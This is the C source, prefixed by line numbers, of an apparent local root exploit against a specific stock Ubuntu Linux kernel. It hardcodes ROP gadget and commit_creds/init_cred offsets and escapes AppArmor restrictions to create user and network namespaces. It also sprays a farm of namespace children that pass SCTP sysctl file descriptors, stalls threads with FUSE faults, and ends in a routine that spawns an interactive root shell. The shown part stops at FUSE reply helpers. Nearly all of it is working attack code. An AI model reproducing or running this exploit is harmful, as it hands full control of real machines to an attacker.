1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
| /*
* Copyright 2026 Nebula Security
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* SPDX-License-Identifier: Apache-2.0
*/
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/filter.h>
#include <linux/fuse.h>
#include <linux/if_packet.h>
#include <linux/futex.h>
#include <limits.h>
#include <net/ethernet.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdarg.h>
#include <stdatomic.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/sendfile.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include "leak.h"
#define KERNEL_BASE UINT64_C(0xffffffff81000000)
#define UBUNTU_IMAGE_EDGE_BIAS UINT64_C(0x200000)
#define UBUNTU_PHYSMAP_EDGE_BIAS UINT64_C(0x80000000)
#define CPU1_CEA_PHYS_OFFSET UINT64_C(0x9fd17f58)
#define CPU1_PREEMPT_PHYS_OFFSET UINT64_C(0x9fd18030)
/* Reused only as target-specific post-primitive machinery. These offsets
* are independently frozen for stock Ubuntu 7.0.0-28-generic. */
#define OFF_STACK_PIVOT UINT64_C(0xdd80e7)
#define OFF_POP_RDI UINT64_C(0xcf53ec)
#define OFF_COMMIT_CREDS UINT64_C(0x48a520)
#define OFF_INIT_CRED UINT64_C(0x2a15b80)
#define OFF_ZERO_DWORD_POP_RBP UINT64_C(0x828006)
#define OFF_KPTI_RETURN UINT64_C(0x1194)
#define CHILDREN 400
#define TARGET_STRIDE 20
#define FDS_PER_TARGET 1
#define WRITER_COUNT CHILDREN
#define CHILD_STACK (64 * 1024)
#define RING_BLOCK (32 * 1024)
#define RING_BLOCKS_PER_FD 8
#define RING_COUNT 1024
#define UNIX_FRAG_LINEAR 3616
#define UNIX_FRAG_COUNT 1024
#define GROOM_SOCKETS 240
#define POST_SOCKETS 20
#define RECYCLE_SOCKETS 400
#define RECYCLE_PASSES 1
#define GUARD_SOCKETS_PER_CPU 400
#define CEA_SEEDER_COUNT 64
#define RCU_WAIT_SECONDS 15
#define NETNS_FD_BASE 5000
#define SCTPV6_SLOT 1600
#define SCTPV6_OBJECT 1568
#define SOCK_PROT_OFF 0x28
#define SCTP_EP_OFF 0x430
#define PROTO_RELEASE_CB_OFF 0xa0
#define ENDPOINT_AUTH_OFF 0x102
enum {
CMD_WAIT = 0,
CMD_OPEN = 1,
CMD_EXIT = 2,
};
struct child_control {
atomic_int command;
atomic_int opened;
pid_t pid;
int index;
};
struct fd_message {
int index;
};
struct spray_sync {
atomic_int go;
atomic_int ready;
atomic_int progress;
};
struct fault_sync {
atomic_int seen;
int fuse_fd;
void *fault_pages;
atomic_uint_fast64_t unique[CHILDREN];
atomic_int pending[CHILDREN];
atomic_int done[CHILDREN];
atomic_long result[CHILDREN];
int order[CHILDREN];
};
struct writer_argument {
int fd;
int index;
};
static struct child_control *controls;
static int rights_sock[2];
static void *child_stacks;
static atomic_int writers_stop;
static atomic_int stalled_ready;
static atomic_int writer_launch;
static atomic_int writers_entered;
static atomic_int root_claimed;
static struct spray_sync *spray_sync;
static struct fault_sync fault_sync;
static pid_t packet_spray_pid = -1;
static pid_t cea_seeder_pids[CEA_SEEDER_COUNT];
static int guard_fds[2][GUARD_SOCKETS_PER_CPU];
static uint64_t kernel_slide;
static uint64_t physmap_base;
static uint64_t cea;
static uint64_t user_cs;
static uint64_t user_ss;
static uint64_t user_rflags;
static uint64_t user_rsp;
static void *user_stack;
static uint64_t rop_pivot;
struct cea_regs15_payload {
uint64_t q[15];
};
static struct cea_regs15_payload cea_payload __attribute__((used));
static void die(const char *fmt, ...)
{
va_list args;
va_start(args, fmt);
vfprintf(stderr, fmt, args);
va_end(args);
fputc('\n', stderr);
exit(EXIT_FAILURE);
}
static void pin_cpu(int cpu)
{
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(cpu, &set);
if (sched_setaffinity(0, sizeof(set), &set) < 0)
die("sched_setaffinity(%d): %s", cpu, strerror(errno));
}
static int futex_wait_int(atomic_int *word, int value)
{
return syscall(SYS_futex, (int *)word, FUTEX_WAIT, value, NULL, NULL, 0);
}
static void futex_wake_all(atomic_int *word)
{
(void)syscall(SYS_futex, (int *)word, FUTEX_WAKE, INT32_MAX, NULL, NULL, 0);
}
static void wait_until_not(atomic_int *word, int value)
{
while (atomic_load_explicit(word, memory_order_acquire) == value) {
if (futex_wait_int(word, value) < 0 && errno != EAGAIN && errno != EINTR)
die("futex wait: %s", strerror(errno));
}
}
static void write_all(int fd, const void *buffer, size_t length)
{
const unsigned char *cursor = buffer;
while (length) {
ssize_t done = write(fd, cursor, length);
if (done < 0) {
if (errno == EINTR)
continue;
die("write: %s", strerror(errno));
}
cursor += done;
length -= (size_t)done;
}
}
static void write_text(const char *path, const char *text)
{
int fd = open(path, O_WRONLY | O_CLOEXEC);
if (fd < 0)
die("open %s: %s", path, strerror(errno));
write_all(fd, text, strlen(text));
close(fd);
}
static void change_profile(const char *name)
{
char request[256];
int fd;
int length;
length = snprintf(request, sizeof(request), "changeprofile %s", name);
if (length < 0 || (size_t)length >= sizeof(request))
die("format AppArmor request");
fd = open("/proc/self/attr/current", O_WRONLY | O_CLOEXEC);
if (fd < 0)
die("open AppArmor current: %s", strerror(errno));
write_all(fd, request, (size_t)length);
close(fd);
}
static void enter_private_user_net_namespace(void)
{
char map[64];
uid_t uid = getuid();
gid_t gid = getgid();
if (geteuid() == 0)
die("run directly as uid/gid 65534, not root");
change_profile("/usr/lib/snapd/snap-confine");
change_profile("plasmashell");
if (unshare(CLONE_NEWUSER) < 0)
die("unshare user: %s", strerror(errno));
write_text("/proc/self/setgroups", "deny\n");
snprintf(map, sizeof(map), "0 %u 1\n", uid);
write_text("/proc/self/uid_map", map);
snprintf(map, sizeof(map), "0 %u 1\n", gid);
write_text("/proc/self/gid_map", map);
if (setresgid(0, 0, 0) < 0 || setresuid(0, 0, 0) < 0)
die("become namespace root: %s", strerror(errno));
if (unshare(CLONE_NEWNET) < 0)
die("unshare net: %s", strerror(errno));
printf("[+] stock profile transition and private namespace uid=%u gid=%u\n",
(unsigned)getuid(), (unsigned)getgid());
}
static int send_one_fd(int socket_fd, int fd, int index)
{
char control[CMSG_SPACE(sizeof(int))] = { 0 };
struct fd_message data = { .index = index };
struct iovec iov = { .iov_base = &data, .iov_len = sizeof(data) };
struct msghdr message = {
.msg_iov = &iov,
.msg_iovlen = 1,
.msg_control = control,
.msg_controllen = sizeof(control),
};
struct cmsghdr *cmsg = CMSG_FIRSTHDR(&message);
cmsg->cmsg_level = SOL_SOCKET;
cmsg->cmsg_type = SCM_RIGHTS;
cmsg->cmsg_len = CMSG_LEN(sizeof(int));
memcpy(CMSG_DATA(cmsg), &fd, sizeof(fd));
return sendmsg(socket_fd, &message, 0);
}
static int receive_one_fd(int socket_fd, int *index)
{
char control[CMSG_SPACE(sizeof(int))] = { 0 };
struct fd_message data;
struct iovec iov = { .iov_base = &data, .iov_len = sizeof(data) };
struct msghdr message = {
.msg_iov = &iov,
.msg_iovlen = 1,
.msg_control = control,
.msg_controllen = sizeof(control),
};
struct cmsghdr *cmsg;
int fd;
if (recvmsg(socket_fd, &message, 0) != (ssize_t)sizeof(data))
die("recvmsg rights: %s", strerror(errno));
cmsg = CMSG_FIRSTHDR(&message);
if (!cmsg || cmsg->cmsg_level != SOL_SOCKET || cmsg->cmsg_type != SCM_RIGHTS)
die("bad rights message");
memcpy(&fd, CMSG_DATA(cmsg), sizeof(fd));
*index = data.index;
return fd;
}
static int namespace_child(void *argument)
{
struct child_control *control = argument;
pin_cpu(0);
wait_until_not(&control->command, CMD_WAIT);
if (atomic_load(&control->command) == CMD_EXIT)
_exit(0);
for (int i = 0; i < FDS_PER_TARGET; i++) {
int fd = open("/proc/sys/net/sctp/auth_enable", O_RDWR | O_CLOEXEC);
if (fd < 0) {
perror("child open auth_enable");
_exit(10);
}
if (send_one_fd(rights_sock[1], fd, control->index) < 0)
_exit(11);
close(fd);
}
atomic_store_explicit(&control->opened, 1, memory_order_release);
futex_wake_all(&control->opened);
while (atomic_load_explicit(&control->command, memory_order_acquire) != CMD_EXIT) {
int old = atomic_load(&control->command);
(void)futex_wait_int(&control->command, old);
}
_exit(0);
}
static void create_namespace_farm(void)
{
for (int i = 0; i < CHILDREN; i++) {
void *top = (unsigned char *)child_stacks + (size_t)(i + 1) * CHILD_STACK;
pid_t pid;
controls[i].index = i;
atomic_init(&controls[i].command, CMD_WAIT);
atomic_init(&controls[i].opened, 0);
pid = clone(namespace_child, top, CLONE_NEWNET | SIGCHLD, &controls[i]);
if (pid < 0)
die("clone child %d: %s", i, strerror(errno));
controls[i].pid = pid;
}
printf("[+] created %d stock child network namespaces\n", CHILDREN);
}
static void command_child(int index, int command)
{
atomic_store_explicit(&controls[index].command, command, memory_order_release);
futex_wake_all(&controls[index].command);
}
static void prepare_user_return(void)
{
user_stack = mmap((void *)UINT64_C(0x1fff0000), 0x20000,
PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED_NOREPLACE,
-1, 0);
if (user_stack == MAP_FAILED)
die("mmap return stack: %s", strerror(errno));
/* The callback runs with a non-zero kernel preempt count. Populate every
* return-stack PTE now so the first user-mode push cannot require a
* sleeping anonymous-page allocation after the iret. */
memset(user_stack, 0, 0x20000);
user_rsp = UINT64_C(0x20000008);
asm volatile("mov %%cs, %0\n\t"
"mov %%ss, %1\n\t"
"pushfq\n\t"
"pop %2"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags)
: : "memory");
}
static inline long raw_syscall1(long number, long argument)
{
long result;
asm volatile("syscall" : "=a"(result)
: "a"(number), "D"(argument)
: "rcx", "r11", "memory");
return result;
}
static inline long raw_syscall2(long number, long argument1, long argument2)
{
long result;
asm volatile("syscall" : "=a"(result)
: "a"(number), "D"(argument1), "S"(argument2)
: "rcx", "r11", "memory");
return result;
}
static inline long raw_syscall3(long number, long argument1, long argument2,
long argument3)
{
long result;
asm volatile("syscall" : "=a"(result)
: "a"(number), "D"(argument1), "S"(argument2),
"d"(argument3)
: "rcx", "r11", "memory");
return result;
}
__attribute__((noreturn)) static void post_root(void)
{
static char bash_path[] = "/bin/bash";
static char bash_arg0[] = "bash";
static char bash_arg1[] = "-i";
static char *const bash_argv[] = { bash_arg0, bash_arg1, NULL };
static char *const bash_envp[] = { NULL };
static char fuse_mount[] = "/tmp/_neb-fuse";
static const char success[] =
"\n[SUCCESS] stock Ubuntu root; starting /bin/bash -i\n";
static const char failure[] = "execve /bin/bash failed\n";
int expected = 0;
/* The CEA process and packet spray were forked after this thread existed,
* so ordinary data/TLS pages are COW-protected. The forged callback
* chain has already restored preempt_count before returning here. Claim
* exactly one winning writer; execve from that thread then destroys every
* other thread in this process while preserving the original terminal. */
if (!atomic_compare_exchange_strong_explicit(&root_claimed, &expected, 1,
memory_order_acq_rel, memory_order_acquire)) {
(void)raw_syscall1(SYS_exit, 0);
__builtin_unreachable();
}
/* All other writers are still blocked on distinct FUSE pages. Tear down
* the task-owned spray/CEA helpers and the FUSE connection before execve,
* so no second stale callback can race the interactive root shell. */
if (packet_spray_pid > 0)
(void)raw_syscall2(SYS_kill, packet_spray_pid, SIGKILL);
for (int i = 0; i < CEA_SEEDER_COUNT; i++)
if (cea_seeder_pids[i] > 0)
(void)raw_syscall2(SYS_kill, cea_seeder_pids[i], SIGKILL);
(void)raw_syscall2(SYS_umount2, (long)(uintptr_t)fuse_mount, MNT_DETACH);
(void)raw_syscall1(SYS_close, fault_sync.fuse_fd);
(void)raw_syscall3(SYS_write, STDOUT_FILENO,
(long)(uintptr_t)success, sizeof(success) - 1);
(void)raw_syscall3(SYS_execve, (long)(uintptr_t)bash_path,
(long)(uintptr_t)bash_argv,
(long)(uintptr_t)bash_envp);
(void)raw_syscall3(SYS_write, STDERR_FILENO,
(long)(uintptr_t)failure, sizeof(failure) - 1);
(void)raw_syscall1(SYS_exit_group, 1);
__builtin_unreachable();
}
static void fill_fuse_attr(struct fuse_attr *attr, uint64_t inode, uint32_t mode)
{
memset(attr, 0, sizeof(*attr));
attr->ino = inode;
attr->size = inode == FUSE_ROOT_ID ? 0 : (uint64_t)CHILDREN * 4096;
attr->blocks = inode == FUSE_ROOT_ID ? 0 : (uint64_t)CHILDREN * 8;
attr->mode = mode;
attr->nlink = inode == FUSE_ROOT_ID ? 2 : 1;
attr->uid = 0;
attr->gid = 0;
attr->blksize = 4096;
}
static void fuse_reply(uint64_t unique, const void *body, size_t body_size)
{
unsigned char reply[sizeof(struct fuse_out_header) + 4096];
struct fuse_out_header *header = (struct fuse_out_header *)reply;
if (body_size > sizeof(reply) - sizeof(*header))
die("oversize FUSE reply");
header->len = (uint32_t)(sizeof(*header) + body_size);
header->error = 0;
header->unique = unique;
if (body_size)
memcpy(reply + sizeof(*header), body, body_size);
write_all(fault_sync.fuse_fd, reply, header->len);
}
static void fuse_reply_error(uint64_t unique, int error)
{
struct fuse_out_header header = {
.len = sizeof(header),
.error = -error,
.unique = unique,
};
write_all(fault_sync.fuse_fd, &header, sizeof(header));
}
|
